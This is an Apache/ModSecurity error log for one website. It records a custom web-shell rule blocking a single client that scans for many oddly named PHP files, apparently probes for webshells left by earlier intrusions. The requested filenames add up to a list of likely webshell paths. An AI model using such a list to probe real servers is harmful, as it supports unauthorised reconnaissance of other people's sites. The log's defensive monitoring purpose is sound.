[Fri Apr 17 04:15:02.525625 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:10133] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "aeFDRhP68VyHNvj1e56YFwAAANQ"]
[Fri Apr 17 04:15:03.066322 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10176] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "aeFDRxP68VyHNvj1e56YGwAAANU"]
[Fri Apr 17 04:15:03.612067 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:10098] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "aeFDRxP68VyHNvj1e56YIAAAAMQ"]
[Fri Apr 17 04:15:04.157518 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:10214] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "aeFDSBP68VyHNvj1e56YIwAAANI"]
[Fri Apr 17 04:15:04.668674 2026] [:error] [pid 9153:tid 9233] [client 20.166.7.149:10226] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "aeFDSOMHGxkTZX3c45e1gQAAAI8"]
[Fri Apr 17 04:15:05.197554 2026] [:error] [pid 9151:tid 9162] [client 20.166.7.149:29418] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "aeFDSchTVuRPkua22vRnuwAAAAE"]
[Fri Apr 17 04:15:05.879181 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:10060] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "aeFDSRP68VyHNvj1e56YKAAAAMI"]
[Fri Apr 17 04:15:06.787862 2026] [:error] [pid 9153:tid 9241] [client 20.166.7.149:10088] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "aeFDSuMHGxkTZX3c45e1hwAAAJc"]
[Fri Apr 17 04:15:08.189759 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:10227] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeFDTBP68VyHNvj1e56YLAAAAMQ"]
[Fri Apr 17 04:15:09.407912 2026] [:error] [pid 9263:tid 9275] [client 20.166.7.149:29417] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeFDTRP68VyHNvj1e56YMAAAAMo"]
[Fri Apr 17 04:15:10.980102 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:29482] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeFDTuMHGxkTZX3c45e1kwAAAIU"]
[Fri Apr 17 04:15:12.238613 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:29390] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aeFDUJJYca8I3TNCwIfU2AAAAE4"]
[Fri Apr 17 04:15:13.149337 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:10061] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeFDURP68VyHNvj1e56YQAAAAME"]
[Fri Apr 17 04:15:14.265799 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:10229] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeFDUuMHGxkTZX3c45e1pgAAAIo"]
[Fri Apr 17 04:15:15.564338 2026] [:error] [pid 9153:tid 9218] [client 20.166.7.149:10170] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeFDU-MHGxkTZX3c45e1qwAAAIA"]
[Fri Apr 17 04:15:18.041914 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:10154] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeFDVhP68VyHNvj1e56YTgAAANM"]
[Fri Apr 17 04:15:19.781494 2026] [:error] [pid 9151:tid 9167] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-243.php
[Fri Apr 17 04:15:20.413391 2026] [:error] [pid 9151:tid 9164] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/pm90apbv3v5fvgkbguyiCdefault.php
[Fri Apr 17 04:15:20.686242 2026] [:error] [pid 9151:tid 9171] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/CDX1.php
[Fri Apr 17 04:15:20.939690 2026] [:error] [pid 9151:tid 9183] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/gvg1bvpsgtot1rpklCdefault.php
[Fri Apr 17 04:15:21.194736 2026] [:error] [pid 9151:tid 9174] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/6xBAm3vODE05BSzkJZRAws.php
[Fri Apr 17 04:15:21.483283 2026] [:error] [pid 9151:tid 9169] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Fri Apr 17 04:15:21.737211 2026] [:error] [pid 9151:tid 9177] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Fri Apr 17 04:15:21.990431 2026] [:error] [pid 9151:tid 9184] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Fri Apr 17 04:15:22.248928 2026] [:error] [pid 9151:tid 9182] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Fri Apr 17 04:15:22.546752 2026] [:error] [pid 9151:tid 9165] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/CDX2.php
[Fri Apr 17 04:15:22.800392 2026] [:error] [pid 9151:tid 9173] [client 20.166.7.149:10132] File does not exist: /usr/local/apache/htdocs/suspended-page/666.php
[Fri Apr 17 04:15:23.066133 2026] [:error] [pid 9151:tid 9176] [client 20.166.7.149:10132] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "aeFDW8hTVuRPkua22vRn3gAAAA8"]
[Fri Apr 17 04:15:23.763824 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:10207] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "aeFDW5JYca8I3TNCwIfU7wAAAEo"]
[Fri Apr 17 04:15:24.321539 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:29430] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "aeFDXJJYca8I3TNCwIfU8QAAAFA"]
[Fri Apr 17 04:15:24.839811 2026] [:error] [pid 9153:tid 9232] [client 20.166.7.149:29405] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "aeFDXOMHGxkTZX3c45e1uAAAAI4"]
[Fri Apr 17 04:15:25.455895 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:10234] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFDXRP68VyHNvj1e56YbAAAAMw"]
[Fri Apr 17 04:15:26.057344 2026] [:error] [pid 9151:tid 9185] [client 20.166.7.149:10149] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFDXshTVuRPkua22vRn4QAAABg"]
[Fri Apr 17 04:15:26.560925 2026] [:error] [pid 9263:tid 9288] [client 20.166.7.149:29453] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFDXhP68VyHNvj1e56YbgAAANc"]
[Fri Apr 17 04:15:27.252824 2026] [:error] [pid 9152:tid 9211] [client 20.166.7.149:10237] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFDX5JYca8I3TNCwIfU-QAAAFU"]
[Fri Apr 17 04:15:27.896591 2026] [:error] [pid 9263:tid 9276] [client 20.166.7.149:10115] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeFDXxP68VyHNvj1e56YdAAAAMs"]
[Fri Apr 17 04:15:28.586944 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:10236] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeFDYBP68VyHNvj1e56YdgAAAMg"]
[Fri Apr 17 04:15:29.199222 2026] [:error] [pid 9263:tid 9268] [client 20.166.7.149:29435] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeFDYRP68VyHNvj1e56YeQAAAMM"]
[Fri Apr 17 04:15:29.810251 2026] [:error] [pid 9151:tid 9161] [client 20.166.7.149:10210] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aeFDYchTVuRPkua22vRn5AAAAAA"]
[Fri Apr 17 04:15:30.383247 2026] [:error] [pid 9152:tid 9209] [client 20.166.7.149:10152] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFDYpJYca8I3TNCwIfU_AAAAFM"]
[Fri Apr 17 04:15:30.965418 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:10229] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFDYpJYca8I3TNCwIfU_wAAAEQ"]
[Fri Apr 17 04:15:31.704975 2026] [:error] [pid 9151:tid 9183] [client 20.166.7.149:10135] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFDY8hTVuRPkua22vRn5wAAABY"]
[Fri Apr 17 04:15:32.601467 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:10130] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aeFDZBP68VyHNvj1e56YfwAAANI"]
[Fri Apr 17 04:15:33.182971 2026] [:error] [pid 9263:tid 9274] [client 20.166.7.149:10118] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFDZRP68VyHNvj1e56YgwAAAMk"]
[Fri Apr 17 04:15:33.751285 2026] [:error] [pid 9152:tid 9202] [client 20.166.7.149:29437] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFDZZJYca8I3TNCwIfVBAAAAEw"]
[Fri Apr 17 04:15:34.348652 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:10113] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFDZhP68VyHNvj1e56YhwAAAME"]
[Fri Apr 17 04:15:34.859035 2026] [:error] [pid 9263:tid 9275] [client 20.166.7.149:10219] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFDZhP68VyHNvj1e56YigAAAMo"]
[Fri Apr 17 04:15:35.442809 2026] [:error] [pid 9153:tid 9226] [client 20.166.7.149:29426] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFDZ-MHGxkTZX3c45e1yAAAAIg"]
[Fri Apr 17 04:15:35.971925 2026] [:error] [pid 9152:tid 9193] [client 20.166.7.149:10151] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFDZ5JYca8I3TNCwIfVBgAAAEM"]
[Fri Apr 17 04:15:36.473748 2026] [:error] [pid 9152:tid 9205] [client 20.166.7.149:10073] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFDaJJYca8I3TNCwIfVBwAAAE8"]
[Fri Apr 17 04:15:37.036496 2026] [:error] [pid 9263:tid 9288] [client 20.166.7.149:10164] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeFDaRP68VyHNvj1e56YkQAAANc"]
[Fri Apr 17 04:15:37.588950 2026] [:error] [pid 9263:tid 9282] [client 20.166.7.149:10049] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFDaRP68VyHNvj1e56YkgAAANE"]
[Fri Apr 17 04:15:38.110682 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:10179] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFDahP68VyHNvj1e56YlQAAANM"]
[Fri Apr 17 04:15:38.719069 2026] [:error] [pid 9263:tid 9276] [client 20.166.7.149:10128] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFDahP68VyHNvj1e56YmQAAAMs"]
[Fri Apr 17 04:15:39.348583 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:10066] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aeFDa5JYca8I3TNCwIfVCgAAAFI"]
[Fri Apr 17 04:15:39.966434 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:10120] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aeFDaxP68VyHNvj1e56YnwAAAMI"]
[Fri Apr 17 04:15:40.636033 2026] [:error] [pid 9263:tid 9282] [client 20.166.7.149:10096] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aeFDbBP68VyHNvj1e56YowAAANE"]
[Fri Apr 17 04:15:41.566427 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:10238] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aeFDbRP68VyHNvj1e56YpgAAANQ"]
[Fri Apr 17 04:15:42.797789 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:10065] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aeFDbhP68VyHNvj1e56YrQAAAMc"]
[Fri Apr 17 04:15:43.809812 2026] [:error] [pid 9151:tid 9185] [client 20.166.7.149:10220] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeFDb8hTVuRPkua22vRn8wAAABg"]
[Fri Apr 17 04:15:45.274813 2026] [:error] [pid 9263:tid 9268] [client 20.166.7.149:10057] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeFDcRP68VyHNvj1e56YtwAAAMM"]
[Fri Apr 17 04:15:46.471442 2026] [:error] [pid 9153:tid 9239] [client 20.166.7.149:10168] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeFDcuMHGxkTZX3c45e11QAAAJU"]
